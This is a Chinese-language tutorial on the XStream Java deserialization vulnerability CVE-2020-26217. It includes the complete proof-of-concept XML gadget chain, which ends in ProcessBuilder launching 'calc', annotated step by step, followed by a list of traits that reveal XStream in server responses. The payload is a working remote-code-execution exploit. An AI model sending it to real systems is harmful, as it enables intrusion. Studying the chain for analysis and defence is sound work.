Xstream反序列化漏洞
XStream是一个Java库,用于将Java对象序列化为XML格式,也可以将XML格式的数据反序列化为Java对象。它是一个流行的开源库,常用于在分布式系统中传输和存储数据。
漏洞原因
Xstream库中部分类本身会做反射的 invoke()、序列化的 resovleClass()、readObject()等等,同时这些类的这些操作有被攻击者恶意利用的危险。例如CVE-2020-26217中我们可以通过构造一个包含恶意XML的类。
漏洞POC分析
POC如下:
<map> //构建map ,用于进入MapConverter类里面的putCurrentEntryIntoMap函数
<entry> //构建键值对的对应的key值 ,存在key值就会调用NativeString.hashCode()
<jdk.nashorn.internal.objects.NativeString> //通过引用NativeString方法,进入到NativeString的hashCode()函数,进而进入到getStringValue()函数通过toString()方法返回对象类型
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> //表示一个值,其类型为Base64Data,因为toString()方法里面的Value值是Base64Data类型。
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> //赋值DataSource,为后续readFrom方法的写入值
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>//调用SequenceInputStream,写入DataSource,对应ReadFrom调用SequenceInputStream#read传入的SequenceInputStream对象
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>//调用MultiUIDefaults里面的MultiUIDefaultsEnumerator,对应read方法调用的SequenceInputStream#nextStream的传入的MultiUIDefaultsEnumerator对象
<iterator class='javax.imageio.spi.FilterIterator'>//描述了一个迭代器,被用来在迭代器遍历过程中触发特定的行为(即启动进程)。FilterIterator和ContainsFilter的使用是为了找到type是KEYS,iterator为FilterIterator(这里是java.lang.ProcessBuilder的start方法)的元素,并执行。得以进入nextElement的判断
<iter class='java.util.ArrayList$Itr'>//调用ArrayList的Itr方法
<cursor>0</cursor>//过ArrayListItr#next的i>=size判断
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>//迭代器遍历过程中启动一个进程
<java.lang.ProcessBuilder> //这是Java中用于创建操作系统进程的类
<command>
<string>calc</string> //进程打开计算器
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>//调用ContainsFilter#filter方法执行invoke.(processbuilder)
<method>//method是ProcessBuilder.start
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type> //nextElement的判断条件
</e>
<in class='java.io.ByteArrayInputStream'> //调用ByteArrayInputStreama对应get方法调用的ByteArrayOutputStreamEx#readFrom的dataSource输入
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string> //键值对的value值
</entry>
</map>
黑盒测试漏洞
响应报文中可能包含以下XStream相关的标识或特征:
- XML报文:XStream是一个用于序列化Java对象为XML格式的库,因此响应中可能包含XML格式的数据。
- 标签名称和属性:XStream将Java对象的类名作为XML标签名称,并使用对象的属性作为XML标签的属性。
- XML命名空间:如果在XStream序列化过程中设置了命名空间,响应中可能会包含命名空间相关的标识或特征。
- 特殊字符转义:XStream会对特殊字符进行转义,比如将<转义为<,>转义为>等。因此,响应中可能会包含转义后的特殊字符。
- 类型适配器:XStream可以自定义类型适配器来处理特定类型的对象序列化和反序列化。响应中可能会包含自定义类型适配器相关的标识或特征。
- 多态类型:XStream支持多态类型的序列化和反序列化。如果响应中包含多态类型的对象,可能会有相关的标识或特征。
需要注意的是,XStream的具体使用方式和配置可能因应用程序而异,因此具体的标识或特征可能会有所差异。以上列举的只是一些常见的情况。